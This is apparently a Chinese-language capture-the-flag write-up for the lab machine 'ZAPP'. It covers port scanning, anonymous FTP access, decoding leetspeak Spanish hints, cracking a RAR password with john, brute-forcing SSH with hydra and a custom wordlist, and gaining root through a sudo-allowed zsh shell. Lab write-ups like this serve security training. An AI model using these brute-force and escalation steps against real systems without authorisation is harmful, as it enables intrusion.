<h1>ZAPP</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/143">https://labs.thehackerslabs.com/machine/143</a>
</blockquote>
<img src="/post-images/TheHackersLabsZAPP/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-python">➜ ZAPP nmap -sT -min-rate 10000 -p- 192.168.56.136
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-02 14:52 CST
Nmap scan report for 192.168.56.136
Host is up (0.00055s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:AE:C8:F3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.11 seconds
</code></pre>
<pre><code class="hljs language-python">➜ ZAPP nmap -sT -A -p 21,22,80 192.168.56.136 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-02 14:56 CST
Nmap scan report for 192.168.56.136
Host is up (0.00039s latency). 
 
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:192.168.56.89
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 0 0 28 Oct 29 21:59 login.txt
|_-rw-r--r-- 1 0 0 65 Oct 29 22:23 secret.txt
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey: 
| 3072 a3:23:b3:aa:df:c6:51:cb:a2:0c:92:8e:6b:fe:96:ee (RSA)
| 256 fd:95:2f:2f:7f:5a:21:b5:0e:75:2c:da:18:c9:52:35 (ECDSA)
|_ 256 a1:0e:0d:79:8e:54:3e:0e:ed:2f:96:d6:d3:9a:9f:a6 (ED25519)
80/tcp open http Apache httpd 2.4.65 ((Debian))
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: zappskred - CTF Challenge
MAC Address: 08:00:27:AE:C8:F3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 192.168.56.136

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds
</code></pre>
<h3>枚举</h3>
上边貌似已经扫出来一点东西
<pre><code class="hljs language-python">➜ ZAPP ftp 192.168.56.136 
Connected to 192.168.56.136.
220 Welcome zappskred.
Name (192.168.56.136:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mget *
</code></pre>
得到两个文件
<pre><code class="hljs language-python">➜ ZAPP cat login.txt 
puerto
4444
coffee
GoodLuck
</code></pre>
<pre><code class="hljs language-python">➜ ZAPP cat secret.txt 
0jO cOn 31 c4fe 813n p23p424dO, 4 v3c35 14 pista 357a 3n 14 7424
</code></pre>
这段文字使用了 Leet Speak (l33t)，也就是用数字和符号来替代字母。这是一种常见的CTF混淆技巧。同时，从单词结构来看，这是西班牙语。
我们来逐个解码：
<ul>
<li><code>0jO</code> -> <code>Ojo</code> (西班牙语，意为“眼睛”，引申为“注意”、“当心”)</li>
<li><code>cOn</code> -> <code>con</code> (西班牙语，意為“与”、“用”)</li>
<li><code>31</code> -> <code>el</code> (西班牙语，阳性单数定冠词，相当于英文的 "the")</li>
<li><code>c4fe</code> -> <code>cafe</code> (西班牙语，意为“咖啡”)</li>
<li><code>813n</code> -> <code>bien</code> (西班牙语，意为“好”)</li>
<li><code>p23p424dO</code> -> <code>preparado</code> (西班牙语，意为“准备好的”)</li>
<li><code>4</code> -> <code>a</code></li>
<li><code>v3c35</code> -> <code>veces</code> (西班牙语，意为“时候”、“次”)</li>
<li><code>14</code> -> <code>la</code> (西班牙语，阴性单数定冠词，相当于英文的 "the")</li>
<li><code>pista</code> -> <code>pista</code> (西班牙语，意为“线索”)</li>
<li><code>357a</code> -> <code>esta</code> (西班牙语，意为“在”)</li>
<li><code>3n</code> -> <code>en</code> (西班牙语，意为“在...里面”)</li>
<li><code>14</code> -> <code>la</code></li>
<li><code>7424</code> -> <code>taza</code> (西班牙语，意为“杯子”)</li>
</ul>
将解码后的单词组合起来，得到完整的西班牙语句子：
<blockquote>
Ojo con el cafe bien preparado, a veces la pista esta en la taza.
</blockquote>
翻译成中文就是：
<blockquote>
小心那杯精心准备的咖啡，有时线索就在杯子里。
</blockquote>
<hr>
转到 80 端口，F12 检查源码时发现隐藏了如下的信息
<img src="/post-images/TheHackersLabsZAPP/image1.png" alt="image.png">
<img src="/post-images/TheHackersLabsZAPP/image2.png" alt="image.png">
得到 <code>cuatrocuatroveces</code> 意为 “四次”，通过得到的信息组合登录 ssh 失败
继续进行枚举，对 <code>web</code> 进行目录扫描
<pre><code class="hljs language-python">404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 402l 2257w 173244c http://192.168.56.136/zapp.jpg
200 GET 237l 488w 6570c http://192.168.56.136/
200 GET 1l 0w 1c http://192.168.56.136/pass.txt
301 GET 9l 28w 317c http://192.168.56.136/dorset => http://192.168.56.136/dorset/
200 GET 1l 1w 7c http://192.168.56.136/dorset/s3cr37.txt
301 GET 9l 28w 319c http://192.168.56.136/waterloo => http://192.168.56.136/waterloo/
200 GET 1l 11w 56c http://192.168.56.136/waterloo/info.php
</code></pre>
<img src="/post-images/TheHackersLabsZAPP/image3.png" alt="image.png">
<code>La azÃºcar estÃ¡ en el fondo pero tÃº estÃ¡s muy arriba</code> 意为 “糖在最底下，但你却在很高的地方。” 何意味？
后面发现 <code>cuatrocuatroveces</code> 竟然是目录，并且能拿到一个压缩包
<img src="/post-images/TheHackersLabsZAPP/image4.png" alt="image.png">
对压缩包进行爆破，得到密码 <code>reema</code>
<pre><code class="hljs language-python">➜ ZAPP john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
reema (Sup3rP4ss.rar) 
1g 0:00:02:10 DONE (2025-11-02 15:16) 0.007634g/s 644.9p/s 644.9c/s 644.9C/s seymour1..precious5
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</code></pre>
得到信息 <code>Intenta probar con más >> 3spuM4</code> ，<code>3spuM4</code> 也是 Leet 写法
<code>Espuma</code> 是西班牙语，意思是“泡沫”或“奶泡”。 何意味？？？
可能是个密码或者用户，这里将可能是密码或者用户名的玩意全部扒拉下来
<pre><code class="hljs language-python">coffee
Espuma
espuma
4444
taza
cup
foam
troll
zappskred
puerto
pista
clue
Ojo
eye
cafe
GoodLuck
3spuM4
7424
c4fe
0jO
cOn
31
el
813n
bien
p23p424dO
preparado
4
a
v3c35
veces
14
la
357a
esta
3n
en
CTF
Challenge
COFFEE
ESPUMA
TROLL
</code></pre>
对 SSH 进行爆破
<pre><code class="hljs language-python">➜ ZAPP hydra -L wagalimasen.txt -P wagalimasen.txt -t 8 192.168.56.136 ssh
</code></pre>
666 中奖了
<img src="/post-images/TheHackersLabsZAPP/image5.png" alt="image.png">
<img src="/post-images/TheHackersLabsZAPP/image6.png" alt="image.png">
<h2>提权</h2>
可以读 user.txt
<pre><code class="hljs language-python">zappskred@TheHackersLabs-ZAPP:~$ cat user.txt 
ZWxxxxxxxxxxxxQo=
</code></pre>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-python">zappskred@TheHackersLabs-ZAPP:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-ZAPP: Temporary failure in name resolution
[sudo] password for zappskred: 
Matching Defaults entries for zappskred on TheHackersLabs-ZAPP:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zappskred may run the following commands on TheHackersLabs-ZAPP:
 (root) /bin/zsh
</code></pre>
结束
<pre><code class="hljs language-python">zappskred@TheHackersLabs-ZAPP:~$ sudo /bin/zsh -p
sudo: unable to resolve host TheHackersLabs-ZAPP: Temporary failure in name resolution
TheHackersLabs-ZAPP# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>
<pre><code class="hljs language-python">TheHackersLabs-ZAPP# cat /root/root.txt 
c2lxxxxxxxxxxxxxxxg==
</code></pre>
<h2>最后</h2>
<img src="/post-images/TheHackersLabsZAPP/AINTNOWAY-4x.gif" alt="AINTNOWAY-4x.gif">

ZAPP https://labs.thehackerslabs.com/machine/143 Recon PortScan 枚举 上边貌似已经扫出来一点东西 得到两个文件 这段文字使用了 Leet Speak (l33t)，也就是用数字和符号来替代字母。这是一种常见的CTF混淆技巧。同时，从单词...

TheHackersLabs - ZAPP

HackTheBox - Season9 - NanoCorp